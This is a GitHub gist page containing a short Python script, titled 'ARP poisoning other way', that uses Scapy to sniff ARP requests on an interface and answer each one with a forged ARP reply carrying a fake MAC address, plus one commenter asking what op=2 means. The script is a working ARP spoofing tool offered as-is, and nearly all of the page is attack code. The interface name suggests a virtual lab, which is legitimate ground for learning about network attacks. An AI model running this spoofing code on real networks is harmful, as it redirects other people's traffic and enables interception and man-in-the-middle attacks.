Skip to content

Instantly share code, notes, and snippets.

@y0ug
Created September 21, 2014 08:36
Show Gist options
  • Save y0ug/ad16e5e0944607da05a0 to your computer and use it in GitHub Desktop.
Save y0ug/ad16e5e0944607da05a0 to your computer and use it in GitHub Desktop.
Scapy ARP poisoning other way
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from scapy.all import *
iface = "vboxnet1"
sleep = 1
verbose = 1
def arp_poison(psrc, pdst):
pkt = ARP()
pkt.psrc = psrc
pkt.pdst = pdst
pkt.hwsrc="de:ad:be:ef:00:00"
pkt.op = 2
send(pkt, verbose=verbose, iface=iface)
#print p.show()
#try:
#time.sleep(args.freq)
#except KeyboardInterrupt:
#pass
def sniff_arp():
while 1:
try:
a = sniff(filter="arp", count=1, iface=iface)
print a[0].show()
except KeyboardInterrupt:
pass
def arp_monitor_callback(pkt):
if ARP in pkt:
if pkt[ARP].op == 1:
arp_poison(pkt[ARP].pdst, pkt[ARP].psrc)
return pkt.sprintf("%ARP.hwsrc% (%ARP.psrc%) %ARP.op% %ARP.hwdst% (%ARP.pdst%)")
#if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
if __name__ == "__main__":
#arp_poison()
#sniff_arp()
sniff(prn=arp_monitor_callback, filter="arp", store=0, iface=iface)
@metnich
Copy link

metnich commented Jan 25, 2018

i wanna know about the arp.op=2 what it mean

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment